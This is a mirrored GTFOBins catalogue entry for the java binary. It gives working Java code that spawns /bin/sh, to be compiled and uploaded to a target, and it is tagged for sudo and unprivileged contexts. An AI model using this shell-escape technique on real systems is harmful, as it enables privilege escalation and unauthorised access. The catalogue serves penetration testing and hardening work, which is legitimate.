mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2026-03-08 06:56:15 +01:00
24 lines
482 B
Plaintext
24 lines
482 B
Plaintext
---
|
|
functions:
|
|
shell:
|
|
- code: |-
|
|
java Shell
|
|
comment: |-
|
|
The `Shell.class` class file can be compiled offline, then uploaded to the target:
|
|
|
|
```
|
|
cat >Shell.java <<EOF
|
|
public class Shell {
|
|
public static void main(String[] args) throws Exception {
|
|
new ProcessBuilder("/bin/sh").inheritIO().start().waitFor();
|
|
}
|
|
}
|
|
EOF
|
|
|
|
javac Shell.java
|
|
```
|
|
contexts:
|
|
sudo:
|
|
unprivileged:
|
|
...
|